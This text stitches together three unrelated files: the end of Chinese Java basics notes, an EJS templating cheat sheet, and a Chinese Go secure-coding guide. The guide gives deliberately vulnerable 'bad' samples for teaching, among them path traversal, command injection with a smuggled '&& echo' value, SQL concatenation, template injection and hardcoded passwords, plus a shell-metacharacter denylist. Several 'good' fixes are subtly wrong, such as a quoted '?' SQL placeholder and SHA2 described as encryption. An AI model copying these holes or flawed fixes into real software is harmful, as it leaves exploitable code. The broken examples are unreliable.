- **调试器和测试工具** ： 调试器需要能够检查一个类里的私有成员。测试工具可以利用反射来自动地调用类里定义的可被发现的 API 定义，以确保一组测试中有较高的代码覆盖率。
**反射的缺点：**
尽管反射非常强大，但也不能滥用。如果一个功能可以不用反射完成，那么最好就不用。在我们使用反射技术时，下面几条内容应该牢记于心。
- **性能开销** ：反射涉及了动态类型的解析，所以 JVM 无法对这些代码进行优化。因此，反射操作的效率要比那些非反射操作低得多。我们应该避免在经常被执行的代码或对性能要求很高的程序中使用反射。
- **安全限制** ：使用反射技术要求程序必须在一个没有安全限制的环境中运行。如果一个程序必须在有安全限制的环境中运行，如 Applet，那么这就是个问题了。
- **内部暴露** ：由于反射允许代码执行一些在正常情况下不被允许的操作（比如访问私有的属性和方法），所以使用反射可能会导致意料之外的副作用，这可能导致代码功能失调并破坏可移植性。反射代码破坏了抽象性，因此当平台发生改变的时候，代码的行为就有可能也随着变化。
- [Trail: The Reflection API](https://docs.oracle.com/javase/tutorial/reflect/index.html)
- [深入解析 Java 反射（1）- 基础](http://www.sczyh30.com/posts/Java/java-reflection-1/)
## 八、异常
Throwable 可以用来表示任何可以作为异常抛出的类，分为两种： **Error** 和 **Exception**。其中 Error 用来表示 JVM 无法处理的错误，Exception 分为两种：
- **受检异常** ：需要用 try...catch... 语句捕获并进行处理，并且可以从异常中恢复；
- **非受检异常** ：是程序运行时错误，例如除 0 会引发 Arithmetic Exception，此时程序崩溃并且无法恢复。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/PPjwP.png" width="600"/> </div><br>
- [Java Exception Interview Questions and Answers](https://www.journaldev.com/2167/java-exception-interview-questions-and-answersl)
- [Java提高篇——Java 异常处理](https://www.cnblogs.com/Qian123/p/5715402.html)
## 九、泛型
```java
public class Box<T> {
// T stands for "Type"
private T t;
public void set(T t) { this.t = t; }
public T get() { return t; }
}
```
- [Java 泛型详解](https://www.cnblogs.com/Blue-Keroro/p/8875898.html)
- [10 道 Java 泛型面试题](https://cloud.tencent.com/developer/article/1033693)
## 十、注解
Java 注解是附加在代码中的一些元信息，用于一些工具在编译、运行时进行解析和使用，起到说明、配置的功能。注解不会也不能影响代码的实际逻辑，仅仅起到辅助性的作用。
[注解 Annotation 实现原理与自定义注解例子](https://www.cnblogs.com/acm-bingzi/p/javaAnnotation.html)
## 十一、特性
### Java 各版本的新特性
**New highlights in Java SE 8**
1. Lambda Expressions
2. Pipelines and Streams
3. Date and Time API
4. Default Methods
5. Type Annotations
6. Nashhorn JavaScript Engine
7. Concurrent Accumulators
8. Parallel operations
9. PermGen Error Removed
**New highlights in Java SE 7**
1. Strings in Switch Statement
2. Type Inference for Generic Instance Creation
3. Multiple Exception Handling
4. Support for Dynamic Languages
5. Try with Resources
6. Java nio Package
7. Binary Literals, Underscore in literals
8. Diamond Syntax
- [Difference between Java 1.8 and Java 1.7?](http://www.selfgrowth.com/articles/difference-between-java-18-and-java-17)
- [Java 8 特性](http://www.importnew.com/19345.html)
### Java 与 C++ 的区别
- Java 是纯粹的面向对象语言，所有的对象都继承自 java.lang.Object，C++ 为了兼容 C 即支持面向对象也支持面向过程。
- Java 通过虚拟机从而实现跨平台特性，但是 C++ 依赖于特定的平台。
- Java 没有指针，它的引用可以理解为安全指针，而 C++ 具有和 C 一样的指针。
- Java 支持自动垃圾回收，而 C++ 需要手动回收。
- Java 不支持多重继承，只能通过实现多个接口来达到相同目的，而 C++ 支持多重继承。
- Java 不支持操作符重载，虽然可以对两个 String 对象执行加法运算，但是这是语言内置支持的操作，不属于操作符重载，而 C++ 可以。
- Java 的 goto 是保留字，但是不可用，C++ 可以使用 goto。
[What are the main differences between Java and C++?](http://cs-fundamentals.com/tech-interview/java/differences-between-java-and-cpp.php)
### JRE or JDK
- JRE：Java Runtime Environment，Java 运行环境的简称，为 Java 的运行提供了所需的环境。它是一个 JVM 程序，主要包括了 JVM 的标准实现和一些 Java 基本类库。
- JDK：Java Development Kit，Java 开发工具包，提供了 Java 的开发及运行环境。JDK 是 Java 开发的核心，集成了 JRE 以及一些其它的工具，比如编译 Java 源码的编译器 javac 等。
## 参考资料
- Eckel B. Java 编程思想[M]. 机械工业出版社, 2002.
- Bloch J. Effective java[M]. Addison-Wesley Professional, 2017.
|
sec-knowleage
|
---
title: EJS
date: 2023-04-07
background: bg-[#b4ca65]
tags:
- EJS
- Frontend
- Framework
categories:
- Programming
intro: EJS(Embedded JavaScript) is a simple templating language that lets you generate HTML markup with plain JavaScript.
plugins:
- copyCode
---
Get Started { .cols-3 }
-----------
### Hello world
#### install
```
npm install ejs
```
#### hello.ejs
```html
<% if (user.email) { %>
<h1><%= user.email %></h1>
<% } %>
```
#### CLI
```shell
$ ejs hello.ejs -o hello.html
```
### Render with Data
```
let ejs = require('ejs');
let people = ['geddy', 'neil', 'alex'];
let tpl = '<%= people.join(", "); %>';
let html = ejs.render(tpl, {people: people});
console.log(html);
```
Pass EJS a template string and some data.
### Browser Support
```
<script src="ejs.js"></script>
<script>
let people = ['geddy', 'neil', 'alex'];
let html = ejs.render('<%= people.join(", "); %>', {people: people});
</script>
```
Use ejs in a script tag.
### Variables
| | |
|--------------|----------------------------------|
| `<%= var %>` | Prints the value of the variable |
| `<%- var %>` | Prints without HTML escaping |
### CLI
Render and specify an output file.
```shell
$ ejs hello.ejs -o hello.html
```
Feed it a template file and a data file
```shell
$ ejs hello.ejs -f data.json -o hello.html
```
### Comments
```html
<%# This line will denote a comment %>
```
---------
```html
<%# This is a multi-line EJS comment.
It can span multiple lines,
but will not be displayed
in the final HTML output.
%>
```
### Method
```
let ejs = require('ejs');
let template = ejs.compile(str, options);
template(data);
// => Rendered HTML string
ejs.render(str, data, options);
// => Rendered HTML string
ejs.renderFile(filename, data, options, function(err, str){
// str => Rendered HTML string
});
```
### Including Files
```html
<%- include('partials/navbar.ejs') %>
```
Include a template with data:
```html
<% include('header', { title: 'My Page' }) %>
```
------------
```html
<ul>
<% users.forEach(function(user){ %>
<%- include('item', {user: user}); %>
<% }); %>
</ul>
```
To include a template, needs a file name option, paths are relative
Docs {.cols-3}
--------
### Conditionals
```html
<% if (userLoggedIn) { %>
<p>Welcome, <%= username %>!</p>
<% } else { %>
<p>Please log in.</p>
<% } %>
```
### Using loops
```html
<% if (userLoggedIn) { %>
<p>Welcome, <%= username %>!</p>
<% } else { %>
<p>Please log in.</p>
<% } %>
```
### Custom delimiters
```
let ejs = require('ejs'),
users = ['geddy', 'neil', 'alex'];
// Just one template
ejs.render('<?= users.join(" | "); ?>',
{users: users},
{delimiter: '?'});
// => 'geddy | neil | alex'
// Or globally
ejs.delimiter = '$';
ejs.render('<$= users.join(" | "); $>',
{users: users});
// => 'geddy | neil | alex'
```
### Caching
```
let ejs = require('ejs'),
LRU = require('lru-cache');
// LRU cache with 100-item limit
ejs.cache = LRU(100);
```
### Custom file loader
```
let ejs = require('ejs');
let myFileLoader = function (filePath) {
return 'myFileLoader: ' + fs.readFileSync(filePath);
};
ejs.fileLoader = myFileLoader;
```
### Layouts
```
<%- include('header'); -%>
<h1>
Title
</h1>
<p>
My page
</p>
<%- include('footer'); -%>
```
## Client-side support { .cols-2 }
### Example
```
<div id="output"></div>
<script src="ejs.min.js"></script>
<script>
let people = ['geddy', 'neil', 'alex'],
html = ejs.render('<%= people.join(", "); %>', {people: people});
// With jQuery:
$('#output').html(html);
// Vanilla JS:
document.getElementById('output').innerHTML = html;
</script>
```
### Caveats
```
let str = "Hello <%= include('file', {person: 'John'}); %>",
fn = ejs.compile(str, {client: true});
fn(data, null, function(path, d){ // include callback
// path -> 'file'
// d -> {person: 'John'}
// Put your code here
// Return the contents of file as a string
}); // returns rendered string
```
## Options { .cols-1 }
### Options list
| Option | Description |
|-------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| cache | Compiled functions are cached, requires filename |
| filename | Used by cache to key caches, and for includes |
| root | Set project root for includes with an absolute path (e.g., /file.ejs). Can be an array to try to resolve include from multiple directories. |
| views | An array of paths to use when resolving includes with relative paths. |
| context | Function execution context |
| compileDebug | When false, no debug instrumentation is compiled |
| client | Returns standalone compiled function |
| delimiter | Character to use for inner delimiter, by default '%' |
| openDelimiter | Character to use for opening delimiter, by default '<' |
| closeDelimiter | Character to use for closing delimiter, by default '>' |
| debug | Outputs generated function body |
| strict | When set to `true`, generated function is in strict mode |
| _with | Whether or not to use with() {} constructs. If false, then the locals will be stored in the locals object. (Implies `--strict`) |
| localsName | Name to use for the object storing local variables when not using with Defaults to locals |
| rmWhitespace | Remove all safe-to-remove whitespace, including leading and trailing whitespace. It also enables a safer version of -%> line slurping for all scriptlet tags (it does not strip new lines of tags in the middle of a line). |
| escape | The escaping function used with <%= construct. It is used in rendering and is .toString()ed in the generation of client functions. (By default escapes XML). |
| outputFunctionName| Set to a string (e.g., 'echo' or 'print') for a function to print output inside scriptlet tags. |
| async | When true, EJS will use an async function for rendering. (Depends on async/await support in the JS runtime. |
## Tags { .cols-1 }
### Tags list
| Tag | Description |
|------|----------------------------------------------------------------------|
| <% | 'Scriptlet' tag, for control-flow, no output |
| <%_ | 'Whitespace Slurping' Scriptlet tag, strips all whitespace before it |
| <%= | Outputs the value into the template (HTML escaped) |
| <%- | Outputs the unescaped value into the template |
| <%# | Comment tag, no execution, no output |
| <%% | Outputs a literal '<%' |
| %> | Plain ending tag |
| -%> | Trim-mode ('newline slurp') tag, trims following newline |
| _%> | 'Whitespace Slurping' ending tag, removes all whitespace after it |
## Cli { .cols-1 }
### Cli list
| Option | Description |
|----------------|-------------------------------------------------------------------------------------------------------------------------|
| cache | Compiled functions are cached, requires filename |
| -o / --output-file FILE | Write the rendered output to FILE rather than stdout. |
| -f / --data-file FILE | Must be JSON-formatted. Use parsed input from FILE as data for rendering. |
| -i / --data-input STRING | Must be JSON-formatted and URI-encoded. Use parsed input from STRING as data for rendering. |
| -m / --delimiter CHARACTER | Use CHARACTER with angle brackets for open/close (defaults to %). |
| -p / --open-delimiter CHARACTER | Use CHARACTER instead of left angle bracket to open. |
| -c / --close-delimiter CHARACTER| Use CHARACTER instead of right angle bracket to close. |
| -s / --strict | When set to `true`, generated function is in strict mode |
| -n / --no-with | Use 'locals' object for vars rather than using `with` (implies --strict). |
| -l / --locals-name | Name to use for the object storing local variables when not using `with`. |
| -w / --rm-whitespace | Remove all safe-to-remove whitespace, including leading and trailing whitespace. |
| -d / --debug | Outputs generated function body |
| -h / --help | Display this help message. |
| -V/v / --version | Display the EJS version. |
Examples of use :
```
$ ejs -p [ -c ] ./template_file.ejs -o ./output.html
$ ejs ./test/fixtures/user.ejs name=Lerxst
$ ejs -n -l _ ./some_template.ejs -f ./data_file.json
```
|
sec-knowleage
|
<!-- markdown="1" is required for GitHub Pages to render the TOC properly. -->
<details markdown="1">
<summary>目录</summary>
- [1 通用类](#1)
* [I. 代码实现](#1.1)
+ [1.1 内存管理](#1.1.1)
+ [1.2 文件操作](#1.1.2)
+ [1.3 系统接口](#1.1.3)
+ [1.4 通信安全](#1.1.4)
+ [1.5 敏感数据保护](#1.1.5)
+ [1.6 加密解密](#1.1.6)
+ [1.7 正则表达式](#1.1.7)
- [2 后台类](#2)
* [I. 代码实现](#2.1)
+ [1.1 输入校验](#2.1.1)
+ [1.2 SQL操作](#2.1.2)
+ [1.3 网络请求](#2.1.3)
+ [1.4 服务器端渲染](#2.1.4)
+ [1.5 Web跨域](#2.1.5)
+ [1.6 响应输出](#2.1.6)
+ [1.7 会话管理](#2.1.7)
+ [1.8 访问控制](#2.1.8)
+ [1.9 并发保护](#2.1.9)
</details>
<a id="1"></a>
# 通用类
<a id="1.1"></a>
## 1. 代码实现类
<a id="1.1.1"></a>
### 1.1 内存管理
#### 1.1.1【必须】切片长度校验
- 在对slice进行操作时，必须判断长度是否合法，防止程序panic
```go
// bad: 未判断data的长度，可导致 index out of range
func decode(data []byte) bool {
if data[0] == 'F' && data[1] == 'U' && data[2] == 'Z' && data[3] == 'Z' && data[4] == 'E' && data[5] == 'R' {
fmt.Println("Bad")
return true
}
return false
}
// bad: slice bounds out of range
func foo() {
var slice = []int{0, 1, 2, 3, 4, 5, 6}
fmt.Println(slice[:10])
}
// good: 使用data前应判断长度是否合法
func decode(data []byte) bool {
if len(data) == 6 {
if data[0] == 'F' && data[1] == 'U' && data[2] == 'Z' && data[3] == 'Z' && data[4] == 'E' && data[5] == 'R' {
fmt.Println("Good")
return true
}
}
return false
}
```
#### 1.1.2【必须】nil指针判断
- 进行指针操作时，必须判断该指针是否为nil，防止程序panic，尤其在进行结构体Unmarshal时
```go
type Packet struct {
PackeyType uint8
PackeyVersion uint8
Data *Data
}
type Data struct {
Stat uint8
Len uint8
Buf [8]byte
}
func (p *Packet) UnmarshalBinary(b []byte) error {
if len(b) < 2 {
return io.EOF
}
p.PackeyType = b[0]
p.PackeyVersion = b[1]
// 若长度等于2，那么不会new Data
if len(b) > 2 {
p.Data = new(Data)
}
return nil
}
// bad: 未判断指针是否为nil
func main() {
packet := new(Packet)
data := make([]byte, 2)
if err := packet.UnmarshalBinary(data); err != nil {
fmt.Println("Failed to unmarshal packet")
return
}
fmt.Printf("Stat: %v\n", packet.Data.Stat)
}
// good: 判断Data指针是否为nil
func main() {
packet := new(Packet)
data := make([]byte, 2)
if err := packet.UnmarshalBinary(data); err != nil {
fmt.Println("Failed to unmarshal packet")
return
}
if packet.Data == nil {
return
}
fmt.Printf("Stat: %v\n", packet.Data.Stat)
}
```
#### 1.1.3【必须】整数安全
- 在进行数字运算操作时，需要做好长度限制，防止外部输入运算导致异常：
- 确保无符号整数运算时不会反转
- 确保有符号整数运算时不会出现溢出
- 确保整型转换时不会出现截断错误
- 确保整型转换时不会出现符号错误
- 以下场景必须严格进行长度限制：
- 作为数组索引
- 作为对象的长度或者大小
- 作为数组的边界（如作为循环计数器）
```go
// bad: 未限制长度，导致整数溢出
func overflow(numControlByUser int32) {
var numInt int32 = 0
numInt = numControlByUser + 1
// 对长度限制不当，导致整数溢出
fmt.Printf("%d\n", numInt)
// 使用numInt，可能导致其他错误
}
func main() {
overflow(2147483647)
}
// good
func overflow(numControlByUser int32) {
var numInt int32 = 0
numInt = numControlByUser + 1
if numInt < 0 {
fmt.Println("integer overflow")
return
}
fmt.Println("integer ok")
}
func main() {
overflow(2147483647)
}
```
#### 1.1.4【必须】make分配长度验证
- 在进行make分配内存时，需要对外部可控的长度进行校验，防止程序panic。
```go
// bad
func parse(lenControlByUser int, data []byte) {
size := lenControlByUser
// 对外部传入的size，进行长度判断以免导致panic
buffer := make([]byte, size)
copy(buffer, data)
}
// good
func parse(lenControlByUser int, data []byte) ([]byte, error) {
size := lenControlByUser
// 限制外部可控的长度大小范围
if size > 64*1024*1024 {
return nil, errors.New("value too large")
}
buffer := make([]byte, size)
copy(buffer, data)
return buffer, nil
}
```
#### 1.1.5【必须】禁止SetFinalizer和指针循环引用同时使用
- 当一个对象从被GC选中到移除内存之前，runtime.SetFinalizer()都不会执行，即使程序正常结束或者发生错误。由指针构成的“循环引用”虽然能被GC正确处理，但由于无法确定Finalizer依赖顺序，从而无法调用runtime.SetFinalizer()，导致目标对象无法变成可达状态，从而造成内存无法被回收。
```go
// bad
func foo() {
var a, b Data
a.o = &b
b.o = &a
// 指针循环引用，SetFinalizer()无法正常调用
runtime.SetFinalizer(&a, func(d *Data) {
fmt.Printf("a %p final.\n", d)
})
runtime.SetFinalizer(&b, func(d *Data) {
fmt.Printf("b %p final.\n", d)
})
}
func main() {
for {
foo()
time.Sleep(time.Millisecond)
}
}
```
#### 1.1.6【必须】禁止重复释放channel
- 重复释放一般存在于异常流程判断中，如果恶意攻击者构造出异常条件使程序重复释放channel，则会触发运行时panic，从而造成DoS攻击。
```go
// bad
func foo(c chan int) {
defer close(c)
err := processBusiness()
if err != nil {
c <- 0
close(c) // 重复释放channel
return
}
c <- 1
}
// good
func foo(c chan int) {
defer close(c) // 使用defer延迟关闭channel
err := processBusiness()
if err != nil {
c <- 0
return
}
c <- 1
}
```
#### 1.1.7【必须】确保每个协程都能退出
- 启动一个协程就会做一个入栈操作，在系统不退出的情况下，协程也没有设置退出条件，则相当于协程失去了控制，它占用的资源无法回收，可能会导致内存泄露。
```go
// bad: 协程没有设置退出条件
func doWaiter(name string, second int) {
for {
time.Sleep(time.Duration(second) * time.Second)
fmt.Println(name, " is ready!")
}
}
```
#### 1.1.8【推荐】不使用unsafe包
- 由于unsafe包绕过了 Golang 的内存安全原则，一般来说使用该库是不安全的，可导致内存破坏，尽量避免使用该包。若必须要使用unsafe操作指针，必须做好安全校验。
```go
// bad: 通过unsafe操作原始指针
func unsafePointer() {
b := make([]byte, 1)
foo := (*int)(unsafe.Pointer(uintptr(unsafe.Pointer(&b[0])) + uintptr(0xfffffffe)))
fmt.Print(*foo + 1)
}
// [signal SIGSEGV: segmentation violation code=0x1 addr=0xc100068f55 pc=0x49142b]
```
#### 1.1.9【推荐】不使用slice作为函数入参
- slice在作为函数入参时，函数内对slice的修改可能会影响原始数据
```go
// bad
// slice作为函数入参时包含原始数组指针
func modify(array []int) {
array[0] = 10 // 对入参slice的元素修改会影响原始数据
}
func main() {
array := []int{1, 2, 3, 4, 5}
modify(array)
fmt.Println(array) // output：[10 2 3 4 5]
}
// good
// 数组作为函数入参，而不是slice
func modify(array [5]int) {
array[0] = 10
}
func main() {
// 传入数组，注意数组与slice的区别
array := [5]int{1, 2, 3, 4, 5}
modify(array)
fmt.Println(array)
}
```
<a id="1.1.2"></a>
### 1.2 文件操作
#### 1.2.1【必须】 路径穿越检查
- 在进行文件操作时，如果对外部传入的文件名未做限制，可能导致任意文件读取或者任意文件写入，严重可能导致代码执行。
```go
// bad: 任意文件读取
func handler(w http.ResponseWriter, r *http.Request) {
path := r.URL.Query()["path"][0]
// 未过滤文件路径，可能导致任意文件读取
data, _ := ioutil.ReadFile(path)
w.Write(data)
// 对外部传入的文件名变量，还需要验证是否存在../等路径穿越的文件名
data, _ = ioutil.ReadFile(filepath.Join("/home/user/", path))
w.Write(data)
}
// bad: 任意文件写入
func unzip(f string) {
r, _ := zip.OpenReader(f)
for _, f := range r.File {
p, _ := filepath.Abs(f.Name)
// 未验证压缩文件名，可能导致../等路径穿越，任意文件路径写入
ioutil.WriteFile(p, []byte("present"), 0640)
}
}
// good: 检查压缩的文件名是否包含..路径穿越特征字符，防止任意写入
func unzipGood(f string) bool {
r, err := zip.OpenReader(f)
if err != nil {
fmt.Println("read zip file fail")
return false
}
for _, f := range r.File {
if !strings.Contains(f.Name, "..") {
p, _ := filepath.Abs(f.Name)
ioutil.WriteFile(p, []byte("present"), 0640)
} else {
return false
}
}
return true
}
```
#### 1.2.2【必须】 文件访问权限
- 根据创建文件的敏感性设置不同级别的访问权限，以防止敏感数据被任意权限用户读取。例如，设置文件权限为：`-rw-r-----`
```go
ioutil.WriteFile(p, []byte("present"), 0640)
```
<a id="1.1.3"></a>
### 1.3 系统接口
**1.3.1【必须】命令执行检查**
- 使用`exec.Command`、`exec.CommandContext`、`syscall.StartProcess`、`os.StartProcess`等函数时，第一个参数（path）直接取外部输入值时，应使用白名单限定可执行的命令范围，不允许传入`bash`、`cmd`、`sh`等命令；
- 使用`exec.Command`、`exec.CommandContext`等函数时，通过`bash`、`cmd`、`sh`等创建shell，-c后的参数（arg）拼接外部输入，应过滤\n $ & ; | ' " ( ) `等潜在恶意字符；
```go
// bad
func foo() {
userInputedVal := "&& echo 'hello'" // 假设外部传入该变量值
cmdName := "ping " + userInputedVal
// 未判断外部输入是否存在命令注入字符，结合sh可造成命令注入
cmd := exec.Command("sh", "-c", cmdName)
output, _ := cmd.CombinedOutput()
fmt.Println(string(output))
cmdName := "ls"
// 未判断外部输入是否是预期命令
cmd := exec.Command(cmdName)
output, _ := cmd.CombinedOutput()
fmt.Println(string(output))
}
// good
func checkIllegal(cmdName string) bool {
if strings.Contains(cmdName, "&") || strings.Contains(cmdName, "|") || strings.Contains(cmdName, ";") ||
strings.Contains(cmdName, "$") || strings.Contains(cmdName, "'") || strings.Contains(cmdName, "`") ||
strings.Contains(cmdName, "(") || strings.Contains(cmdName, ")") || strings.Contains(cmdName, "\"") {
return true
}
return false
}
func main() {
userInputedVal := "&& echo 'hello'"
cmdName := "ping " + userInputedVal
if checkIllegal(cmdName) { // 检查传给sh的命令是否有特殊字符
return // 存在特殊字符直接return
}
cmd := exec.Command("sh", "-c", cmdName)
output, _ := cmd.CombinedOutput()
fmt.Println(string(output))
}
```
<a id="1.1.4"></a>
### 1.4 通信安全
#### 1.4.1【必须】网络通信采用TLS方式
- 明文传输的通信协议目前已被验证存在较大安全风险，被中间人劫持后可能导致许多安全风险，因此必须采用至少TLS的安全通信方式保证通信安全，例如gRPC/Websocket都使用TLS1.3。
```go
// good
func main() {
http.HandleFunc("/", func(w http.ResponseWriter, req *http.Request) {
w.Header().Add("Strict-Transport-Security", "max-age=63072000; includeSubDomains")
w.Write([]byte("This is an example server.\n"))
})
// 服务器配置证书与私钥
log.Fatal(http.ListenAndServeTLS(":443", "yourCert.pem", "yourKey.pem", nil))
}
```
#### 1.4.2【推荐】TLS启用证书验证
- TLS证书应当是有效的、未过期的，且配置正确的域名，生产环境的服务端应启用证书验证。
```go
// bad
import (
"crypto/tls"
"net/http"
)
func doAuthReq(authReq *http.Request) *http.Response {
tr := &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
}
client := &http.Client{Transport: tr}
res, _ := client.Do(authReq)
return res
}
// good
import (
"crypto/tls"
"net/http"
)
func doAuthReq(authReq *http.Request) *http.Response {
tr := &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: false},
}
client := &http.Client{Transport: tr}
res, _ := client.Do(authReq)
return res
}
```
<a id="1.1.5"></a>
### 1.5 敏感数据保护
#### 1.5.1【必须】敏感信息访问
- 禁止将敏感信息硬编码在程序中，既可能会将敏感信息暴露给攻击者，也会增加代码管理和维护的难度
- 使用配置中心系统统一托管密钥等敏感信息
#### 1.5.2【必须】敏感数据输出
- 只输出必要的最小数据集，避免多余字段暴露引起敏感信息泄露
- 不能在日志保存密码（包括明文密码和密文密码）、密钥和其它敏感信息
- 对于必须输出的敏感信息，必须进行合理脱敏展示
```go
// bad
func serve() {
http.HandleFunc("/register", func(w http.ResponseWriter, r *http.Request) {
r.ParseForm()
user := r.Form.Get("user")
pw := r.Form.Get("password")
log.Printf("Registering new user %s with password %s.\n", user, pw)
})
http.ListenAndServe(":80", nil)
}
// good
func serve1() {
http.HandleFunc("/register", func(w http.ResponseWriter, r *http.Request) {
r.ParseForm()
user := r.Form.Get("user")
pw := r.Form.Get("password")
log.Printf("Registering new user %s.\n", user)
// ...
use(pw)
})
http.ListenAndServe(":80", nil)
}
```
- 避免通过GET方法、代码注释、自动填充、缓存等方式泄露敏感信息
#### 1.5.3【必须】敏感数据存储
- 敏感数据应使用SHA2、RSA等算法进行加密存储
- 敏感数据应使用独立的存储层，并在访问层开启访问控制
- 包含敏感信息的临时文件或缓存一旦不再需要应立刻删除
#### 1.5.4【必须】异常处理和日志记录
- 应合理使用panic、recover、defer处理系统异常，避免出错信息输出到前端
```go
defer func () {
if r := recover(); r != nil {
fmt.Println("Recovered in start()")
}
}()
```
- 对外环境禁止开启debug模式，或将程序运行日志输出到前端
```bash
// bad
dlv --listen=:2345 --headless=true --api-version=2 debug test.go
// good
dlv debug test.go
```
<a id="1.1.6"></a>
### 1.6 加密解密
#### 1.6.1【必须】不得硬编码密码/密钥
- 在进行用户登陆，加解密算法等操作时，不得在代码里硬编码密钥或密码，可通过变换算法或者配置等方式设置密码或者密钥。
```go
// bad
const (
user = "dbuser"
password = "s3cretp4ssword"
)
func connect() *sql.DB {
connStr := fmt.Sprintf("postgres://%s:%s@localhost/pqgotest", user, password)
db, err := sql.Open("postgres", connStr)
if err != nil {
return nil
}
return db
}
// bad
var (
commonkey = []byte("0123456789abcdef")
)
func AesEncrypt(plaintext string) (string, error) {
block, err := aes.NewCipher(commonkey)
if err != nil {
return "", err
}
}
```
#### 1.6.2【必须】密钥存储安全
- 在使用对称密码算法时，需要保护好加密密钥。当算法涉及敏感、业务数据时，可通过非对称算法协商加密密钥。其他较为不敏感的数据加密，可以通过变换算法等方式保护密钥。
#### 1.6.3【推荐】不使用弱密码算法
- 在使用加密算法时，不建议使用加密强度较弱的算法。
```
// bad
crypto/des，crypto/md5，crypto/sha1，crypto/rc4等。
// good
crypto/rsa，crypto/aes等。
```
<a id="1.1.7"></a>
### 1.7 正则表达式
#### 1.7.1【推荐】使用regexp进行正则表达式匹配
- 正则表达式编写不恰当可被用于DoS攻击，造成服务不可用，推荐使用regexp包进行正则表达式匹配。regexp保证了线性时间性能和优雅的失败：对解析器、编译器和执行引擎都进行了内存限制。但regexp不支持以下正则表达式特性，如业务依赖这些特性，则regexp不适合使用。
- 回溯引用[Backreferences](https://www.regular-expressions.info/backref.html)
- 查看[Lookaround](https://www.regular-expressions.info/lookaround.html)
```go
// good
matched, err := regexp.MatchString(`a.b`, "aaxbb")
fmt.Println(matched) // true
fmt.Println(err) // nil
```
<a id="2"></a>
# 后台类
<a id="2.1"></a>
## 1 代码实现类
<a id="2.1.1"></a>
### 1.1 输入校验
#### 1.1.1【必须】按类型进行数据校验
- 所有外部输入的参数，应使用`validator`进行白名单校验，校验内容包括但不限于数据长度、数据范围、数据类型与格式，校验不通过的应当拒绝
```go
// good
import (
"fmt"
"github.com/go-playground/validator/v10"
)
var validate *validator.Validate
func validateVariable() {
myEmail := "abc@tencent.com"
errs := validate.Var(myEmail, "required,email")
if errs != nil {
fmt.Println(errs)
return
//停止执行
}
// 验证通过，继续执行
...
}
func main() {
validate = validator.New()
validateVariable()
}
```
- 无法通过白名单校验的应使用`html.EscapeString`、`text/template`或`bluemonday`对`<, >, &, ',"`等字符进行过滤或编码
```go
import (
"text/template"
)
// TestHTMLEscapeString HTML特殊字符转义
func main(inputValue string) string {
escapedResult := template.HTMLEscapeString(inputValue)
return escapedResult
}
```
<a id="2.1.2"></a>
### 1.2 SQL操作
#### 1.2.1【必须】SQL语句默认使用预编译并绑定变量
- 使用`database/sql`的prepare、Query或使用GORM等ORM执行SQL操作
```go
import (
"github.com/jinzhu/gorm"
_ "github.com/jinzhu/gorm/dialects/sqlite"
)
type Product struct {
gorm.Model
Code string
Price uint
}
...
var product Product
...
db.First(&product, 1)
```
- 使用参数化查询，禁止拼接SQL语句，另外对于传入参数用于order by或表名的需要通过校验
```go
// bad
import (
"database/sql"
"fmt"
"net/http"
)
func handler(db *sql.DB, req *http.Request) {
q := fmt.Sprintf("SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='%s' ORDER BY PRICE",
req.URL.Query()["category"])
db.Query(q)
}
// good
func handlerGood(db *sql.DB, req *http.Request) {
// 使用?占位符
q := "SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='?' ORDER BY PRICE"
db.Query(q, req.URL.Query()["category"])
}
```
<a id="2.1.3"></a>
### 1.3 网络请求
#### 1.3.1【必须】资源请求过滤验证
- 使用`"net/http"`下的方法`http.Get(url)`、`http.Post(url, contentType, body)`、`http.Head(url)`、`http.PostForm(url, data)`、`http.Do(req)`时，如变量值外部可控（指从参数中动态获取），应对请求目标进行严格的安全校验。
- 如请求资源域名归属固定的范围，如只允许`a.qq.com`和`b.qq.com`，应做白名单限制。如不适用白名单，则推荐的校验逻辑步骤是：
- 第 1 步、只允许HTTP或HTTPS协议
- 第 2 步、解析目标URL，获取其HOST
- 第 3 步、解析HOST，获取HOST指向的IP地址转换成Long型
- 第 4 步、检查IP地址是否为内网IP，网段有：
```
// 以RFC定义的专有网络为例，如有自定义私有网段亦应加入禁止访问列表。
10.0.0.0/8
172.16.0.0/12
192.168.0.0/16
127.0.0.0/8
```
- 第 5 步、请求URL
- 第 6 步、如有跳转，跳转后执行1，否则绑定经校验的ip和域名，对URL发起请求
- 官方库`encoding/xml`不支持外部实体引用，使用该库可避免xxe漏洞
```go
import (
"encoding/xml"
"fmt"
"os"
)
func main() {
type Person struct {
XMLName xml.Name `xml:"person"`
Id int `xml:"id,attr"`
UserName string `xml:"name>first"`
Comment string `xml:",comment"`
}
v := &Person{Id: 13, UserName: "John"}
v.Comment = " Need more details. "
enc := xml.NewEncoder(os.Stdout)
enc.Indent(" ", " ")
if err := enc.Encode(v); err != nil {
fmt.Printf("error: %v\n", err)
}
}
```
<a id="2.1.4"></a>
### 1.4 服务器端渲染
#### 1.4.1【必须】模板渲染过滤验证
- 使用`text/template`或者`html/template`渲染模板时禁止将外部输入参数引入模板，或仅允许引入白名单内字符。
```go
// bad
func handler(w http.ResponseWriter, r *http.Request) {
r.ParseForm()
x := r.Form.Get("name")
var tmpl = `<!DOCTYPE html><html><body>
<form action="/" method="post">
First name:<br>
<input type="text" name="name" value="">
<input type="submit" value="Submit">
</form><p>` + x + ` </p></body></html>`
t := template.New("main")
t, _ = t.Parse(tmpl)
t.Execute(w, "Hello")
}
// good
import (
"fmt"
"github.com/go-playground/validator/v10"
)
var validate *validator.Validate
validate = validator.New()
func validateVariable(val) {
errs := validate.Var(val, "gte=1,lte=100") // 限制必须是1-100的正整数
if errs != nil {
fmt.Println(errs)
return false
}
return true
}
func handler(w http.ResponseWriter, r *http.Request) {
r.ParseForm()
x := r.Form.Get("name")
if validateVariable(x) {
var tmpl = `<!DOCTYPE html><html><body>
<form action="/" method="post">
First name:<br>
<input type="text" name="name" value="">
<input type="submit" value="Submit">
</form><p>` + x + ` </p></body></html>`
t := template.New("main")
t, _ = t.Parse(tmpl)
t.Execute(w, "Hello")
} else {
// ...
}
}
```
<a id="2.1.5"></a>
### 1.5 Web跨域
